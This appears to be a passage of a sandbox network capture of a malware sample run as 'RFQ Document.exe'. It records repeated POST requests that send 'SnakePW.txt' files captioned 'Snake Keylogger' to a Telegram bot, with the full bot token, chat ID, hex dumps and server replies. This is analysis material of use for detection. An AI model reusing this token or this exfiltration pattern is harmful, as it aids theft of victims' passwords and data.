2021-09-28 05:59:41 UTC	419	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:41 GMT Content-Type: application/json Content-Length: 518 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:41 UTC	419	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12851,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808781,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.4	50101	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:41 UTC	420	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f23f1164 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:41 UTC	420	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 32 33 66 31 31 36 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f23f1164Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:42 UTC	421	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:42 UTC	421	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12852,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808782,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.4	50102	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:42 UTC	421	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f25e1060 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:42 UTC	422	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 32 35 65 31 30 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f25e1060Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:42 UTC	422	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:42 UTC	423	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12853,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808782,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.4	50103	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:42 UTC	423	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f27aaaf6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:42 UTC	423	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 32 37 61 61 61 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f27aaaf6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:42 UTC	424	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:42 UTC	424	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12854,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808782,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.4	50104	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:42 UTC	425	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f2b1806b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:42 UTC	425	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 32 62 31 38 30 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f2b1806bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:42 UTC	425	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:42 UTC	426	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12855,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808782,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.4	50105	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:42 UTC	426	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f2e5f3fe Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:42 UTC	427	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 32 65 35 66 33 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f2e5f3feContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:43 UTC	427	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:43 UTC	427	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12856,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808783,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.4	50106	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:43 UTC	428	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f31ccb95 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:43 UTC	428	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 31 63 63 62 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f31ccb95Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:43 UTC	429	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:43 UTC	429	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12857,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808783,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49801	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:26 UTC	43	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c51fba70 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:26 UTC	43	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 31 66 62 61 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c51fba70Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:26 UTC	43	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:26 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:26 UTC	44	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 36 2c 22 64 Data Ascii: 